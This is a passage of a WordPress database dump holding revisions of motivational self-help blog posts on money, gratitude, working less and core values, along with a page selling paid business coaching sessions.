worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought. I would like to suggest that if you desire more money:\r\n<ul>\r\n	<li>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</li>\r\n	<li>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</li>\r\n	<li>be in love with your worthy ideal, hold the image of it in your creative imagination.</li>\r\n	<li>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</li>\r\n	<li>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet. Exact laws of creation govern the universe–and so it is with the creation of money.\r\n\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\nMoney in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'inherit', 'open', 'open', '', '24-revision-2', '', '', '2009-04-03 19:08:58', '2009-04-04 02:08:58', '', 24, 'http://www.whitehotcenter.com/24-revision-2/', 0, 'revision', '', 0),
(427, 1, '2009-04-03 18:55:17', '2009-04-04 01:55:17', '<a href="http://whc.fbdev.org/photos/uncategorized/2007/11/10/uniqueability.jpg"><img style="margin: 0px 5px 5px 0px; float: left; width: 370px; height: 289px;" title="Uniqueability" src="http://whc.fbdev.org/whitehotcenter2/images/2007/11/10/uniqueability.jpg" border="0" alt="Uniqueability" /></a>\r\n\r\nMost of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who you already are\r\n\r\nThat’s the premise of a fascinating and useful book I have recently been studying, titled “Unique Ability – Creating the Life You Want”.  It is published by <a href="http://www.strategiccoach.com">The Strategic Coach</a>.<a href="http://www.strategiccoach.com">\r\n</a>\r\nThe Strategic Coach is a company that teaches successful entrepreneurs to create balance in their business and personal life, while at the same time, creating unprecedented results and rewards through their business activities. A core concept of the teachings of the Strategic Coach, is the concept that every person has a talent that they love to use that translates into activities that they do exceptionally well… a unique ability. Sounds simple enough. But don’t let the obvious simplicity of this idea dismiss its powerful and transformative effect on the results you will create when you operate from the core of your unique ability.\r\n\r\nUnique Ability is a way of describing a powerful force that is at the very core of who you are as an individual. Every human being comes factory-equipped with this ability. It expresses itself in the world from the earliest ages of your development. You are such a genius at this ability that you don’t even realize its importance because your mastery is so automatic, like breathing. As a result, most people do not experience the full rewards that come from developing and harnessing the power of their unique talents and pursue their passions wholeheartedly. However, the more you are able to clearly identify and consciously develop your life around your Unique Ability – the more freedom, happiness and success you will experience. And the world will be the beneficiary of this because of the value you will be adding to people. Talent fueled by passion, especially when directed from greater self-knowledge and focused on creating value, is a powerful creative force and an awesome personal resource.\r\n\r\nOf course, your own discovery and mastery of Unique Ability is a life-long process. And it does not show up in a vacuum. It expresses itself throughout every area of your life. As you study the information in the book, you will become more aware of your good habits, the good things you “always” do. For example, one of my good habits is:\r\n\r\n“I always” follow-through on my commitments.\r\n\r\nTry it. Make a list of the good and useful things you always do. Then you begin to carefully evaluate your daily activities, the big and small things you do in your daily life. These are all methods of discovery to get you to a point where you can express with confidence (and in a simple sentence) what your Unique Ability really is.\r\n\r\nFrom this awareness, you can evaluate which of your activities fall into four important categories: incompetent, competent, excellent, and Unique Ability. The big idea here is to spend your time engaged only in those activities you have identified as Unique Ability activities. Activities in which you have the capacity of superior skill, energy, passion and never-ending improvement.  Those activities that bring you joy and fulfillment. And what of the other areas? Delegate them to others on your team whose Unique Ability is defined by the activities outside of your own. Now you have the recipe for building powerful teams of people pursuing common goals from the power of their respective Unique Abilities. Big time results will follow! Imagine if all the structures in our society were built in this manner.\r\n\r\nIn my own personal and professional life, I am in the process of reinvention and creation of a bigger future. This Unique Ability concept has been tremendously valuable for me to determine the areas where I can make quantum leaps in my progress.\r\n\r\nSo go to the site and order the book. I read it through first. Now I use it as a handbook to keep me focused on daily activities that express my Unique Ability. There are also other tools available from the Strategic Coach that I recommend highly. You can check those out in the Resource section of the site. And make sure you subscribe to the Strategic Coach newsletter too.', 'Unique Ability', 0, 'Most of us are raised to believe that we must fit in and adapt ourselves to the outside world to be useful and successful. But the truth is your greatest strength – and your biggest contribution – lies in who...\r\n', 'inherit', 'open', 'open', '', '27-revision-2', '', '', '2009-04-03 18:55:17', '2009-04-04 01:55:17', '', 27, 'http://www.whitehotcenter.com/27-revision-2/', 0, 'revision', '', 0),
(428, 1, '2009-04-03 18:49:53', '2009-04-04 01:49:53', '<a href="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg"><img class="image-full" title="Workless_9" src="http://whc.fbdev.org/photos/uncategorized/2007/10/12/workless_9.jpg" border="0" alt="Workless_9" /></a>\r\n\r\nFor all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who don’t work hard achieve very little in life. At first glance, you are probably thinking that the title makes no sense. How can one create more and work less? It seems counter-intuitive for sure, so let’s get into this idea of creating more results by working less.\r\n\r\nActually, the opposite is more in line with the way the universe operates. The universe operates with ease. All the complex principals associated with life operate with ease. Your heart beats, your lungs breath, the lilies don’t toil, the season’s change, all of this is going on effortlessly. And so it is with the realization of your desires. There is no need to toil through drudgery to get what you want. Actually, the very idea of toil and drudgery is counter-productive to the whole process of creation.\r\n\r\nThink about these ideas for moment:\r\n<ul>\r\n	<li>hard work has absolutely nothing to do with creating success</li>\r\n	<li>hard work is not the basis for success</li>\r\n	<li>success is inversely proportional to hard work</li>\r\n	<li>avoiding hard work has driven all human progress</li>\r\n</ul>\r\nSpeaking for myself, I found these ideas to be radical departures from anything I believed in. I grew up believing that hard work was the virtuous path to all accomplishments. And I built my entire life around that belief. After years of banging my head against the wall, I have found the revelation that doing nothing is the fastest means of creating accomplishment.\r\n\r\nFirst of all, I have found that nobody likes to “have to” do anything. When one says I “have to” pay my bills, so I “have to” go to work to get the money… already you can sense the despair and powerlessness in the very idea of “having to” do anything. Desperation and powerlessness is fear, and you all know that fear is not a point of view that creates anything useful in life. When you “have to” do anything, you are in a state of resistance. You are fighting the flow of the universe by pointing yourself upstream, resisting. After a couple of decades of this resistance, (think working hard) one can see how we eventually burn-out, lose our perspective, lose our joy, create sickness and ultimately lose our life. No, having to work to get what we want is not the answer. Having to be someplace working, when you want to be someplace else playing is hell on earth. It is the root cause of all disappointments in life. Turn this idea around. Start with what you love.\r\n\r\nWhat do you love? I mean really love!  What do you like to “play at”? What are you effortlessly good at? What excites you to such an extent that when you are engaged in it, you actually lose your awareness of time? Think about this idea deeply. Within this idea of “play” is the seed of joyous, easy, relaxed, natural, lazy creation. There is no working when you are engaged in an activity you love. If you have an idea that you love to play with, do you force yourself to play with it? Of course not. You are naturally drawn to it. You are lovingly engaged in it. Things are easy. There is no work involved and the results of your creation seem almost miraculous.\r\n\r\nLive your whole life from this point of view. It is essential to achieving your heart’s desire. Do not trade one more second of your precious life working hard.\r\n\r\nAny useful idea that has elevated the life experience of humans has come about because we want to avoid having to do hard work. Hard work is counter-productive to the direction of life expanding. Hard work shuts off the flow of creative, inspired energy. Hard work is not in alignment with the laws of creation. Nature creates in an easy and relaxed way. You are made of the same stuff and the laws apply to you wittingly or unwittingly.  I have never met a soul who became healthy, wealthy and fulfilled:\r\n<ul>\r\n	<li>keeping his nose to the grindstone</li>\r\n	<li>pushing the ball uphill</li>\r\n	<li>working her fingers to the bone</li>\r\n	<li>going to a salt mine</li>\r\n	<li>spending the day with a slave driver</li>\r\n</ul>\r\nNo, my friend there is an easier, lazy, do nothing way to create the life you have always desired. You must engage yourself in what you love, play and have fun. Play with everything. If it’s not fun, you are wasting time and your chances for creating massive success in your life. Align your focus and attention to only that which you love. Enjoy (playing) through action (doing what you love) what you create through your thoughts (vision and goals).', 'Work Less', 0, 'For all the workaholics and others who believe the only way to get something is to work hard for it, this may be a challenging idea for sure. It simply goes against the grain of conventional, Calvinist wisdom… people who...\r\n', 'inherit', 'open', 'open', '', '28-revision-3', '', '', '2009-04-03 18:49:53', '2009-04-04 01:49:53', '', 28, 'http://www.whitehotcenter.com/28-revision-3/', 0, 'revision', '', 0),
(429, 1, '2009-04-03 18:44:07', '2009-04-04 01:44:07', 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance.  Every time, 100%, when they danced, it rained.  The secret to their 100 percent success rate, when other tribes had far less success with the same dance, was simple:  this particular tribe never stopped dancing. Think about that…they never stopped dancing until it rained!\r\n\r\nThat is faith in it''s most compelling form...\r\n\r\nFaith strengthened their persistent action and expectation in knowing dancing creates rain. Rain is what they really want… so they danced!\r\n\r\nFaith is vitally important to every result of being, doing and having.  We live by faith and not by sight. Faith is “knowing that you know” something you desire is going to happen.  It isn''t a hunch, an educated guess, it is knowing with absolute certainty that no matter what it takes, it will happen. Governed, of course, by the Law of Gender.\r\n\r\nThe Law of Gender states that everything in nature has a gestation or an incubation period.  You may have commonly known this principal from the human pregnancy which is 280 days. That is the period of time it takes for the gestation of a Human Being. It’s more or less set. A carrot is 11 weeks; an elephant is 15 months… to each its own time.  Ideas and dreams are also governed by the law of Gender.  Just like the law of gravity, the Law of Gender is always “on”, so it is critically important to gain greater awareness and understanding of how it works. Unlike elephants or humans, ideas take their own sweet time. Many people quit dancing for the fulfillment of their ideas before it was time. They give up too early and are not aware that the time necessary for manifestation just hadn''t past yet.  Would you ever see a husband come to his pregnant wife and during week 10 of her pregnancy say "Where’s the baby?!?!".  Of course not, that would be ridiculous.\r\n\r\nMany of us, however, do just that with our ideas, dreams and desires. After some period of time has transpired, with no apparent progress, we say "Where is the result?",  or perhaps, “Oh this is impossible, there’s no way it will rain, there isn’t a cloud in the sky, this is a waste of time!  Frequently, the law of gender on an idea, dream or desire is longer than the anticipated time most people are willing to invest in it.  As a result, they quit… and “guarantee” a result. Except it’s not the one they wanted but it is the one they created.\r\n\r\nSo, the story of the dancing tribe of Indians illustrates perfectly how faith and the law of gender will work for you in creating what you want in life. Results are  guaranteed.   The Indian tribe didn''t stop dancing until the rain came, and they were aware, while dancing, that it could take awhile, and that the rains always, eventually come.\r\n\r\nWhat are you dancing for and what does your rain look like? Because, once you have what your dancing for firmly implanted with faith and belief in your sub-conscious mind, and you “know” that rain is coming, it will, it must. There are no exceptions this law. Enjoy the dance!', 'Rain Dancing', 0, 'Here’s a great story, told to me by one of my teachers, about a tribe of American Indians, and how this particular tribe never failed when they would do their rain dance. Every time, 100%, when they danced, it rained....\r\n', 'inherit', 'open', 'open', '', '29-revision-2', '', '', '2009-04-03 18:44:07', '2009-04-04 01:44:07', '', 29, 'http://www.whitehotcenter.com/29-revision-2/', 0, 'revision', '', 0);
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(430, 2, '2009-07-08 15:18:21', '2009-07-08 22:18:21', '<img class="alignnone size-full wp-image-117" title="goodvsgreat" src="http://whc.fbdev.org/wp-content/uploads/2008/10/goodvsgreat.jpg" alt="goodvsgreat" width="400" height="432" />\r\n\r\nI wanted to share a post from <a title="website" href="http://www.boxofcrayons.biz" target="_blank">Michael Bungay Stanier, CEO of Box of Crayons</a>\r\n\r\nIt''s a very useful insight  on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not.\r\n\r\ncheck it out <a title="blog" href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank">here.\r\n</a>\r\n\r\nThe illustration above is current snap-shot as to where my scene is.  Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It''s about a 3:1 ratio... I want 1:1 as best as possible... It is a great reminder that where I ''m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people''s lives... that''s my great work. What''s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\r\n', 'inherit', 'open', 'open', '', '18-revision-3', '', '', '2009-07-08 15:18:21', '2009-07-08 22:18:21', '', 18, 'http://www.whitehotcenter.com/18-revision-3/', 0, 'revision', '', 0),
(431, 2, '2009-07-08 15:18:35', '2009-07-08 22:18:35', '<img class="alignnone size-full wp-image-124" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="390" height="267" />\r\n<h2>No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</h2>\r\n<strong>Take a media fast.</strong>\r\n\r\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\r\n\r\n<strong>Think about others, not yourself.</strong>\r\n\r\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\r\n<strong>\r\nFocus on current opportunities and forget the future.</strong>\r\n\r\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\r\n\r\n<strong>Focus on creating more rewarding relationships.</strong>\r\n\r\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\r\n\r\n<strong>Focus on what is available to you now, not what’s missing.</strong>\r\n\r\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\r\n\r\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\r\n\r\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\r\n\r\n<strong>Always be in gratitude</strong>.\r\n\r\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\r\n', 'inherit', 'open', 'open', '', '20-revision-4', '', '', '2009-07-08 15:18:35', '2009-07-08 22:18:35', '', 20, 'http://www.whitehotcenter.com/20-revision-4/', 0, 'revision', '', 0),
(432, 2, '2009-07-08 15:29:50', '2009-07-08 22:29:50', '<img class="alignnone size-full wp-image-124" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="390" height="267" />\r\n<h2><span style="color: #ff6600;">No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</span></h2>\r\n<strong>Take a media fast.</strong>\r\n\r\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\r\n\r\n<strong>Think about others, not yourself.</strong>\r\n\r\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\r\n<strong>\r\nFocus on current opportunities and forget the future.</strong>\r\n\r\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\r\n\r\n<strong>Focus on creating more rewarding relationships.</strong>\r\n\r\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\r\n\r\n<strong>Focus on what is available to you now, not what’s missing.</strong>\r\n\r\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\r\n\r\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\r\n\r\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\r\n\r\n<strong>Always be in gratitude</strong>.\r\n\r\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\r\n', 'inherit', 'open', 'open', '', '20-revision-5', '', '', '2009-07-08 15:29:50', '2009-07-08 22:29:50', '', 20, 'http://www.whitehotcenter.com/20-revision-5/', 0, 'revision', '', 0),
(433, 2, '2009-07-08 15:18:27', '2009-07-08 22:18:27', '<img title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />\r\n<h2>In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</h2>\r\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\r\n\r\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals. Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.\r\n\r\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\r\n\r\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\r\n\r\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\r\n', 'inherit', 'open', 'open', '', '19-revision-4', '', '', '2009-07-08 15:18:27', '2009-07-08 22:18:27', '', 19, 'http://www.whitehotcenter.com/19-revision-4/', 0, 'revision', '', 0),
(434, 2, '2009-07-08 10:47:16', '2009-07-08 17:47:16', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 10:47:16', '2009-07-08 17:47:16', '', 200, 'http://www.whitehotcenter.com/200-revision-15/', 0, 'revision', '', 0),
(435, 1, '2009-07-08 15:34:41', '2009-07-08 22:34:41', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI 